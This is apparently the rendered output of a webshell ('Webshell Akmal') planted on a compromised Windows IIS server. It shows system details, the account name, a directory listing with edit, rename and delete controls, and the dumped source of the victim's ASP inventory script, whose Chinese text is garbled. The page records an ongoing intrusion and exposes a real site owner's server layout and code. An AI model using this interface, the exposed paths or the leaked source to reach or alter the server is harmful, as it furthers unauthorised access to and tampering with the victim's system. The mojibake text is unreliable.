Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>У���Ʒ��Ϣ</title>
</head>

<body>
<div align="center">
  <%
set fs=Server.CreateObject("Scripting.FileSystemObject")
Dim Dingdan(10000)
Dim Pro(50)
Dim DL(1000)
Dim Detail(10000,10)
id_cp = 0
Dim HoutaiPath(5)
HoutaiPath(0) = "../../../ASC365_CANADA/Admin/"
HoutaiPath(1) = "../../../ASC365_LOS/Admin/"
HoutaiPath(2) = "../../../ASC365_SFF/Admin/"
HoutaiPath(3) = "../../../ASC365_TPA/Admin/"
HoutaiPath(4) = "../../../ASC365_YYT/Admin/"
Dim ZtPath(5)
ZtPath(0) = "../../../ASC365_CANADA/Admin/ZT_CANADA.ss"
ZtPath(1) = "../../../ASC365_CANADA/Admin/ZT_LOSUSA.ss"
ZtPath(2) = "../../../ASC365_CANADA/Admin/ZT_SFFUSA.ss"
ZtPath(3) = "../../../ASC365_CANADA/Admin/ZT_TPAUSA.ss"
ZtPath(4) = "../../../ASC365_CANADA/Admin/ZT_YYTGHI_IN.ss"
Dim StorData(5)
StorData(0) = "StorDataInit_Canada.txt"
StorData(1) = "StorDataInit_Los.txt"
StorData(2) = "StorDataInit_Sff.txt"
StorData(3) = "StorDataInit_Tpa.txt"
StorData(4) = "StorDataInit_Yyt.txt"

id_houtai = request.Form("searchhoutai")
%>
<form method="POST" action="">
��ѡ���̨��
    <Select name="searchhoutai" id="searchhoutai" >
    <option value="0" <% if id_houtai=0 then%> selected="selected" <%end if%>>���׶��̨</option>
    <option value="1" <% if id_houtai=1 then%> selected="selected" <%end if%>>��ɼ���̨</option>
    <option value="2" <% if id_houtai=2 then%> selected="selected" <%end if%>>�ɽ�ɽ��̨</option>
    <option value="3" <% if id_houtai=3 then%> selected="selected" <%end if%>>̹����̨</option>
    <option value="4" <% if id_houtai=4 then%> selected="selected" <%end if%>>��̨��̨</option>
    </Select>
    <input type="submit" value="Submit" name="B1"></input>
</form>
<%
if request.Form("B1") = "Submit" then
Temp_store= Server.MapPath("../../../ASC365_CANADA/Admin/StoreDataInit/")
if fs.FolderExists(Temp_store) = false then
    fs.CreateFolder(Temp_store)
end if
Temp_store = Temp_store&"/"&StorData(id_houtai)
fs.CreateTextFile(Temp_store)
for i=0 to 999
    danhao1 = right("00"&i, 3)
    Temp1 = server.MapPath(HoutaiPath(id_houtai)& danhao1)
    if true = fs.FolderExists(Temp1) then
        for j=0 to 999
            danhao2 = right("00"&j, 3)
            Temp2 = server.MapPath(HoutaiPath(id_houtai)& danhao1 & "/" & danhao2)
            if true = fs.FolderExists(Temp2) then
                Temp3 = server.MapPath(HoutaiPath(id_houtai)& danhao1 &"/"& danhao2 & "/Store.inc")
                if true = fs.FileExists(Temp3) then
                    Bianma = danhao1&danhao2
                    set f = fs.OpenTextFile(Temp3, 1)
                    f.skipline
                    f.skipline
                    daixiu = trim(f.ReadLine)
                    Zong = trim(f.ReadLine)
                    f.skipline
                    f.skipline
                    f.skipline
                    f.skipline
                    f.skipline
                    f.skipline
                    ershou = trim(f.ReadLine)
                    f.close :set f = nothing
                    
                    if len(daixiu) = 0 or IsNumeric(daixiu) = false then
                        daixiu = 0
                    end if
                    if len(Zong) = 0 or IsNumeric(Zong) = false then
                        Zong = 0
                    end if
                    if len(ershou) = 0 or IsNumeric(ershou) = false then
                        ershou = 0
                    end if

Detail(id_cp,0) = Bianma
                    Detail(id_cp,1) = Zong*1-daixiu*1-ershou*1 '��Ʒ���� = �ܿ��-���� - ���֣����ϣ�
                    Detail(id_cp,2) = 0
                    Detail(id_cp,4) = ershou
                    Detail(id_cp,5) = 0
                    Detail(id_cp,6) = 0
                    Detail(id_cp,7) = daixiu  '����
                    Detail(id_cp,8) = 0
                    Detail(id_cp,9) = 0
                    '********** ��;��� ***************
                    Detail(id_cp,3) = 0
                    Temp_ZT = server.MapPath(ZtPath(id_houtai))
                    if fs.FileExists(Temp_ZT) = true then
                        set f = fs.OpenTextFile(Temp_ZT,1)
                        do while f.AtEndOfStream = false
                            WW = trim(f.ReadLine)
                            if len(WW) <> 0 then
                                str = split(WW,"|")
                                if Bianma = str(0) then
                                    Detail(id_cp,3) = str(1)
                                end if
                            end if
                        loop
                    end if
                    id_cp = id_cp*1 + 1
                end if
            end if
        next
    end if
next
set f = fs.OpenTextFile(Temp_store,2)
for i = 0 to id_cp*1 - 1
WW = Detail(i,0) & "|" & Detail(i,1) & "|" & Detail(i,2) & "|" & Detail(i,3) & "|" & Detail(i,4) & "|" & Detail(i,5) & "|" & Detail(i,6) & "|" & Detail(i,7) & "|" & Detail(i,8) & "|" & Detail(i,9)
f.WriteLine(WW)
next
f.close
set f=nothing
%>
</br>
<strong>���������ʼ��</strong>
</br>
<table border="1" width="800" height="15" style="border-collapse: collapse">
<tr>
<td>��Ʒ����</td>
<td>��Ʒ����</td>
<td>��Ʒռ��</td>
<td>��Ʒ��;</td>
<td>���ֿ���</td>
<td>����ռ��</td>
<td>������;</td>
<td>���޿�</td>
<td>���޿�</td>
<td>���Ͽ�</td>
</tr>
<%for i = 0 to id_cp*1-1
%>
<tr>
<td nowrap><%=Detail(i,0)%></td>
<td nowrap><%=Detail(i,1)%></td>
<td nowrap><%=Detail(i,2)%></td>
<td nowrap><%=Detail(i,3)%></td>
<td nowrap><%=Detail(i,4)%></td>
<td nowrap><%=Detail(i,5)%></td>
<td nowrap><%=Detail(i,6)%></td>
<td nowrap><%=Detail(i,7)%></td>
<td nowrap><%=Detail(i,8)%></td>
<td nowrap><%=Detail(i,9)%></td>
</tr>
<% next%>
</table>
<% end if%>
</div>

</body>
</html>